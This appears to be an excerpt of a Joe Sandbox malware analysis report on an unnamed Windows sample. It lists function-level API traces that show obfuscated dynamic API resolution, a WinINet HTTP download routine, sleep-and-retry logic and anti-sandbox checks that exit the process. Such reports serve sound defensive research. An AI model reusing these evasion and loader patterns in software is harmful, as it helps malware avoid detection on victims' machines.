Opcode ID: b2339aa747815183a94f7903a93ea14f202dfecdbba8577223abd13584acdf8c
Instruction ID: e06656712e1f1a57d11727a4dc8d9f6d46a71c73ebdc601fbc1b7c96e369d370
Opcode Fuzzy Hash: b2339aa747815183a94f7903a93ea14f202dfecdbba8577223abd13584acdf8c
Instruction Fuzzy Hash: F251D7F252D310AFD3096E59DC416BABBE9EF94730F15482EE6C5C3210E77149409B9B

Function 00E41160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00E4116A
ExitProcess.KERNEL32 ref: 00E4117E

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: b7b715866fc0817c43572c08caee4b70b4eac44ff25a9b7d5f7012da23b6dea0
Instruction ID: b96784bacb48a96aa432a6421d0e5a4f1f6a9f2b6bdf8dc957a896f8dd9381b6
Opcode Fuzzy Hash: b7b715866fc0817c43572c08caee4b70b4eac44ff25a9b7d5f7012da23b6dea0
Instruction Fuzzy Hash: 37D05E74E0430CDBCB10EFE0D8496DDBB78FB08311F001595D94673740EA355481CBA5

Function 00E59C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01CA6680), ref: 00E59C2D
GetProcAddress.KERNEL32(75900000,01CA66A0), ref: 00E59C45
GetProcAddress.KERNEL32(75900000,01CB9F10), ref: 00E59C5E
GetProcAddress.KERNEL32(75900000,01CB9E68), ref: 00E59C76
GetProcAddress.KERNEL32(75900000,01CBD788), ref: 00E59C8E
GetProcAddress.KERNEL32(75900000,01CBD7E8), ref: 00E59CA7
GetProcAddress.KERNEL32(75900000,01CABF30), ref: 00E59CBF
GetProcAddress.KERNEL32(75900000,01CBD5F0), ref: 00E59CD7
GetProcAddress.KERNEL32(75900000,01CBD710), ref: 00E59CF0
GetProcAddress.KERNEL32(75900000,01CBD890), ref: 00E59D08
GetProcAddress.KERNEL32(75900000,01CBD848), ref: 00E59D20
GetProcAddress.KERNEL32(75900000,01CA67E0), ref: 00E59D39
GetProcAddress.KERNEL32(75900000,01CA6900), ref: 00E59D51
GetProcAddress.KERNEL32(75900000,01CA6760), ref: 00E59D69
GetProcAddress.KERNEL32(75900000,01CA6780), ref: 00E59D82
GetProcAddress.KERNEL32(75900000,01CBD728), ref: 00E59D9A
GetProcAddress.KERNEL32(75900000,01CBD6F8), ref: 00E59DB2
GetProcAddress.KERNEL32(75900000,01CABE68), ref: 00E59DCB
GetProcAddress.KERNEL32(75900000,01CA6800), ref: 00E59DE3
GetProcAddress.KERNEL32(75900000,01CBD740), ref: 00E59DFB
GetProcAddress.KERNEL32(75900000,01CBD608), ref: 00E59E14
GetProcAddress.KERNEL32(75900000,01CBD758), ref: 00E59E2C
GetProcAddress.KERNEL32(75900000,01CBD770), ref: 00E59E44
GetProcAddress.KERNEL32(75900000,01CA6820), ref: 00E59E5D
GetProcAddress.KERNEL32(75900000,01CBD650), ref: 00E59E75
GetProcAddress.KERNEL32(75900000,01CBD620), ref: 00E59E8D
GetProcAddress.KERNEL32(75900000,01CBD8A8), ref: 00E59EA6
GetProcAddress.KERNEL32(75900000,01CBD7D0), ref: 00E59EBE
GetProcAddress.KERNEL32(75900000,01CBD7A0), ref: 00E59ED6
GetProcAddress.KERNEL32(75900000,01CBD818), ref: 00E59EEF
GetProcAddress.KERNEL32(75900000,01CBD6C8), ref: 00E59F07
GetProcAddress.KERNEL32(75900000,01CBD638), ref: 00E59F1F
GetProcAddress.KERNEL32(75900000,01CBD6B0), ref: 00E59F38
GetProcAddress.KERNEL32(75900000,01CBADC0), ref: 00E59F50
GetProcAddress.KERNEL32(75900000,01CBD830), ref: 00E59F68
GetProcAddress.KERNEL32(75900000,01CBD668), ref: 00E59F81
GetProcAddress.KERNEL32(75900000,01CA68E0), ref: 00E59F99
GetProcAddress.KERNEL32(75900000,01CBD6E0), ref: 00E59FB1
GetProcAddress.KERNEL32(75900000,01CA6920), ref: 00E59FCA
GetProcAddress.KERNEL32(75900000,01CBD680), ref: 00E59FE2
GetProcAddress.KERNEL32(75900000,01CBD800), ref: 00E59FFA
GetProcAddress.KERNEL32(75900000,01CA6480), ref: 00E5A013
GetProcAddress.KERNEL32(75900000,01CA65A0), ref: 00E5A02B
LoadLibraryA.KERNEL32(01CBD8C0,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A03D
LoadLibraryA.KERNEL32(01CBD698,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A04E
LoadLibraryA.KERNEL32(01CBD860,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A060
LoadLibraryA.KERNEL32(01CBD878,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A072
LoadLibraryA.KERNEL32(01CBD7B8,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A083
LoadLibraryA.KERNEL32(01CBD8D8,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A095
LoadLibraryA.KERNEL32(01CBD9E0,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A0A7
LoadLibraryA.KERNEL32(01CBDA58,?,00E55CA3,00E60AEB,?,?,?,?,?,?,?,?,?,?,00E60AEA,00E60AE3), ref: 00E5A0B8
GetProcAddress.KERNEL32(75FD0000,01CA64C0), ref: 00E5A0DA
GetProcAddress.KERNEL32(75FD0000,01CBD968), ref: 00E5A0F2
GetProcAddress.KERNEL32(75FD0000,01CB9B10), ref: 00E5A10A
GetProcAddress.KERNEL32(75FD0000,01CBDB78), ref: 00E5A123
GetProcAddress.KERNEL32(75FD0000,01CA65E0), ref: 00E5A13B
GetProcAddress.KERNEL32(6FD30000,01CAC138), ref: 00E5A160
GetProcAddress.KERNEL32(6FD30000,01CA6440), ref: 00E5A179
GetProcAddress.KERNEL32(6FD30000,01CAC228), ref: 00E5A191
GetProcAddress.KERNEL32(6FD30000,01CBD938), ref: 00E5A1A9
GetProcAddress.KERNEL32(6FD30000,01CBDAE8), ref: 00E5A1C2
GetProcAddress.KERNEL32(6FD30000,01CA6600), ref: 00E5A1DA
GetProcAddress.KERNEL32(6FD30000,01CA6580), ref: 00E5A1F2
GetProcAddress.KERNEL32(6FD30000,01CBDB18), ref: 00E5A20B
GetProcAddress.KERNEL32(763B0000,01CA6320), ref: 00E5A22C
GetProcAddress.KERNEL32(763B0000,01CA63C0), ref: 00E5A244
GetProcAddress.KERNEL32(763B0000,01CBD9B0), ref: 00E5A25D
GetProcAddress.KERNEL32(763B0000,01CBD998), ref: 00E5A275
GetProcAddress.KERNEL32(763B0000,01CA6620), ref: 00E5A28D
GetProcAddress.KERNEL32(750F0000,01CABFA8), ref: 00E5A2B3
GetProcAddress.KERNEL32(750F0000,01CABDC8), ref: 00E5A2CB
GetProcAddress.KERNEL32(750F0000,01CBD9C8), ref: 00E5A2E3
GetProcAddress.KERNEL32(750F0000,01CA6540), ref: 00E5A2FC
GetProcAddress.KERNEL32(750F0000,01CA6640), ref: 00E5A314
GetProcAddress.KERNEL32(750F0000,01CABE90), ref: 00E5A32C
GetProcAddress.KERNEL32(75A50000,01CBDA70), ref: 00E5A352
GetProcAddress.KERNEL32(75A50000,01CA65C0), ref: 00E5A36A
GetProcAddress.KERNEL32(75A50000,01CB9A20), ref: 00E5A382
GetProcAddress.KERNEL32(75A50000,01CBDB90), ref: 00E5A39B
GetProcAddress.KERNEL32(75A50000,01CBDA88), ref: 00E5A3B3
GetProcAddress.KERNEL32(75A50000,01CA6380), ref: 00E5A3CB
GetProcAddress.KERNEL32(75A50000,01CA63A0), ref: 00E5A3E4
GetProcAddress.KERNEL32(75A50000,01CBDB60), ref: 00E5A3FC
GetProcAddress.KERNEL32(75A50000,01CBDAA0), ref: 00E5A414
GetProcAddress.KERNEL32(75070000,01CA62C0), ref: 00E5A436
GetProcAddress.KERNEL32(75070000,01CBDAD0), ref: 00E5A44E
GetProcAddress.KERNEL32(75070000,01CBDAB8), ref: 00E5A466
GetProcAddress.KERNEL32(75070000,01CBD950), ref: 00E5A47F
GetProcAddress.KERNEL32(75070000,01CBDBA8), ref: 00E5A497
GetProcAddress.KERNEL32(74E50000,01CA64E0), ref: 00E5A4B8
GetProcAddress.KERNEL32(74E50000,01CA6660), ref: 00E5A4D1
GetProcAddress.KERNEL32(75320000,01CA6280), ref: 00E5A4F2
GetProcAddress.KERNEL32(75320000,01CBD9F8), ref: 00E5A50A
GetProcAddress.KERNEL32(6F060000,01CA64A0), ref: 00E5A530
GetProcAddress.KERNEL32(6F060000,01CA6340), ref: 00E5A548
GetProcAddress.KERNEL32(6F060000,01CA63E0), ref: 00E5A560
GetProcAddress.KERNEL32(6F060000,01CBDBC0), ref: 00E5A579
GetProcAddress.KERNEL32(6F060000,01CA6400), ref: 00E5A591
GetProcAddress.KERNEL32(6F060000,01CA6420), ref: 00E5A5A9
GetProcAddress.KERNEL32(6F060000,01CA62A0), ref: 00E5A5C2
GetProcAddress.KERNEL32(6F060000,01CA62E0), ref: 00E5A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00E5A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00E5A607
GetProcAddress.KERNEL32(74E00000,01CBDB30), ref: 00E5A629
GetProcAddress.KERNEL32(74E00000,01CB9990), ref: 00E5A641
GetProcAddress.KERNEL32(74E00000,01CBDA10), ref: 00E5A659
GetProcAddress.KERNEL32(74E00000,01CBDA28), ref: 00E5A672
GetProcAddress.KERNEL32(74DF0000,01CA6300), ref: 00E5A693
GetProcAddress.KERNEL32(6F9A0000,01CBDB00), ref: 00E5A6B4
GetProcAddress.KERNEL32(6F9A0000,01CA6360), ref: 00E5A6CD
GetProcAddress.KERNEL32(6F9A0000,01CBDB48), ref: 00E5A6E5
GetProcAddress.KERNEL32(6F9A0000,01CBDBD8), ref: 00E5A6FD

Strings

HttpQueryInfoA, xrefs: 00E5A5FC
InternetSetOptionA, xrefs: 00E5A5E5

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 58e7d725d72038898e7f433bb788cd1d40b76f2be21ee535220ec9a814ded32c
Instruction ID: 3e2e1c7ffbc899bef7c95868e77c1d93282bb25e2445b5eed3b8a6df5fc63a13
Opcode Fuzzy Hash: 58e7d725d72038898e7f433bb788cd1d40b76f2be21ee535220ec9a814ded32c
Instruction Fuzzy Hash: 1E622DB5718200EFD764EFA8E98895E37F9F78C601314855BA6C6C3A4CD63F9452EB20

Function 00E46280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E44839
Part of subcall function 00E447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E44849

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

InternetOpenA.WININET(00E60DFE,00000001,00000000,00000000,00000000), ref: 00E462E1
StrCmpCA.SHLWAPI(?,01CBF318), ref: 00E46303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E46335
HttpOpenRequestA.WININET(00000000,GET,?,01CBE7B0,00000000,00000000,00400100,00000000), ref: 00E46385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E463BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E463D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00E463FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E4646D
InternetCloseHandle.WININET(00000000), ref: 00E464EF
InternetCloseHandle.WININET(00000000), ref: 00E464F9
InternetCloseHandle.WININET(00000000), ref: 00E46503

Strings

ERROR, xrefs: 00E464C9
ERROR, xrefs: 00E46407
GET, xrefs: 00E4637C

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: a937796c915a537dc136caadfefb11240414f80800a2ebebf6f0da71441fbb8e
Instruction ID: a0b56238377033778539cb9919bf396b657db83c3ad51433521c7aab08f365fb
Opcode Fuzzy Hash: a937796c915a537dc136caadfefb11240414f80800a2ebebf6f0da71441fbb8e
Instruction Fuzzy Hash: 7571AF71A00218EBDF24DFA0DC49BEE77B4BB44700F1095A9F50A7B184DBB56A89CF52

Function 00E55510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E5A820: lstrlen.KERNEL32(00E44F05,?,?,00E44F05,00E60DDE), ref: 00E5A82B
Part of subcall function 00E5A820: lstrcpy.KERNEL32(00E60DDE,00000000), ref: 00E5A885

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E55644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E556A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E55857

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E551F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E55228

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E552C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E55318
Part of subcall function 00E552C0: lstrlen.KERNEL32(00000000), ref: 00E5532F
Part of subcall function 00E552C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00E55364
Part of subcall function 00E552C0: lstrlen.KERNEL32(00000000), ref: 00E55383
Part of subcall function 00E552C0: lstrlen.KERNEL32(00000000), ref: 00E553AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E5578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E55940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E55A0C
Sleep.KERNEL32(0000EA60), ref: 00E55A1B

Strings

ERROR, xrefs: 00E55693
ERROR, xrefs: 00E55636
ERROR, xrefs: 00E55932
ERROR, xrefs: 00E5577D
ERROR, xrefs: 00E55849
ERROR, xrefs: 00E559FE

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 1c2f5b4c0375ed2c49323a8c9ed67aa75770befaeb4b6b3cf71b06984ee7ac60
Instruction ID: 7d3ca2a044569592e22b391c0f5ca8f99367da24f842b2de022bd8332e5dc851
Opcode Fuzzy Hash: 1c2f5b4c0375ed2c49323a8c9ed67aa75770befaeb4b6b3cf71b06984ee7ac60
Instruction Fuzzy Hash: C3E176729101049ACB18FBB0EC56AED73B8AF54301F449A79B94773485EF346B4DCBA2

Function 00E517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00E517C5
ExitProcess.KERNEL32 ref: 00E517D1

Strings

block, xrefs: 00E517B7

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 04bdcd82b38b8b41e7e8af1208fe9b7e4de5049e663851923ef7c890dc190498
Instruction ID: ab4f082f1740f9f8927f88e7776d6a6b89d5b4c6fb09d56528ff975aaf08b2f3
Opcode Fuzzy Hash: 04bdcd82b38b8b41e7e8af1208fe9b7e4de5049e663851923ef7c890dc190498
Instruction Fuzzy Hash: 9E519BB4A04209EFCB04DFA0D954BBE77B5BF84306F10A989E842B7240D775E989CB61

Function 00E57500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00E57542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E5757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E57603
RtlAllocateHeap.NTDLL(00000000), ref: 00E5760A
wsprintfA.USER32 ref: 00E57640

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Strings

\, xrefs: 00E57560
, xrefs: 00E5764D, 00E57655, 00E5761B, 00E57623
C, xrefs: 00E5754C
:, xrefs: 00E5755C

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: 99c0d851941ef9955e0f77e33f46b47951dd8954858bf12242e87d4f34ac2105
Instruction ID: e2ce9b7fb1c3d19ae27bb11fe5ce97a14ca1aa5cd431cbd4fc31fbdb54550fff
Opcode Fuzzy Hash: 99c0d851941ef9955e0f77e33f46b47951dd8954858bf12242e87d4f34ac2105
Instruction Fuzzy Hash: 944194B1E04248EBDB10DF94DC45BDEBBB8EF08705F100599F94977280E779AA48CBA5

Function 00E569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB14F8), ref: 00E598A1
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB1648), ref: 00E598BA
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB15B8), ref: 00E598D2
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB1528), ref: 00E598EA
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB1690), ref: 00E59903
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB9AD0), ref: 00E5991B
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CA66E0), ref: 00E59933
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CA6860), ref: 00E5994C
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB1678), ref: 00E59964
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB16A8), ref: 00E5997C
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB1738), ref: 00E59995
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB16C0), ref: 00E599AD
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CA6880), ref: 00E599C5
Part of subcall function 00E59860: GetProcAddress.KERNEL32(75900000,01CB16D8), ref: 00E599DE

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E411D0: ExitProcess.KERNEL32 ref: 00E41211

Part of subcall function 00E41160: GetSystemInfo.KERNEL32(?), ref: 00E4116A
Part of subcall function 00E41160: ExitProcess.KERNEL32 ref: 00E4117E

Part of subcall function 00E41110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E4112B
Part of subcall function 00E41110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00E41132
